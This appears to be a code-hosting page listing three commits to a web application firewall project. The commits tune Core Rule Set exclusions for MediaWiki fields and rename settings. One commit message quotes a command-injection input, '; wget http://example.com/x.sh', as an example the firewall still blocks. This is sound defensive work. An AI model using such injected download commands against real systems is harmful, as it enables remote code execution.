smallwebwaf

124 Commits 8 Branches 2 Tags

3 Commits

Include renames

Author	SHA1	Message	Date
sneak	b2f6be366e	Read every setting through viper and rename the settings (closes #211 ) check / check (push) Failing after 3m40s Details Every setting of discriminator and rproxy is read through viper, in place of the os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and AllowEmptyEnv on, so a setting that is set but empty reads as set. A setting may also be given as a file, the _FILE form, which rproxy's settings now have too; rproxy still writes nothing to disk. The settings are renamed. Discriminator's take the prefix SWW_WAF_, rproxy's take SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_. Model: deepseek-v4-pro (first version); opus-5-5 (rework)	2026-11-10 08:46:11 +00:00
clawbot	922fe0cf71	Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258 ) check / check (push) Failing after 16m32s Details On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the fields they stand in for do. On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title per line, always skips 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only when the body sends it once and it holds no ";", "\|", "&", backtick or "{", checked by a phase 2 rule. So "; wget http://example.com/x.sh" is still refused. Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change used. Model: opus-5-5	2026-11-10 03:09:24 +01:00
clawbot	9aa5b303cf	Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237 ) check / check (push) Failing after 1m48s Details Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields that carry a search, a title, a name, a file name or an address skip the four rules that read them as commands or system files, and the wikitext fields skip the rules that refused saving a page. The reasons on the admin pages skip only 930120 and 932120. /index.php counts as MediaWiki's only with a page title in its query or after its path, since WordPress serves it too. The requests recorded from MediaWiki 1.46.2, with and without short URLs and on the admin pages, pass at the defaults and while bodies are read. The app tests share the check of recorded requests and the list of hard values. Model: opus-5-5	2026-11-10 00:58:15 +01:00

Author

SHA1

Message

Date

sneak

b2f6be366e

Read every setting through viper and rename the settings (closes #211 )

check / check (push) Failing after 3m40s

Details

Every setting of discriminator and rproxy is read through viper, in place
of the os.LookupEnv function Main passed down. NewViper turns AutomaticEnv
and AllowEmptyEnv on, so a setting that is set but empty reads as set. A
setting may also be given as a file, the _FILE form, which rproxy's
settings now have too; rproxy still writes nothing to disk.

The settings are renamed. Discriminator's take the prefix SWW_WAF_,
rproxy's take SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core
Rule Set's settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_.

Model: deepseek-v4-pro (first version); opus-5-5 (rework)

2026-11-10 08:46:11 +00:00

clawbot

922fe0cf71

Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258 )

check / check (push) Failing after 16m32s

Details

On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5

2026-11-10 03:09:24 +01:00

clawbot

9aa5b303cf

Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237 )

check / check (push) Failing after 1m48s

Details

Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.

Model: opus-5-5

2026-11-10 00:58:15 +01:00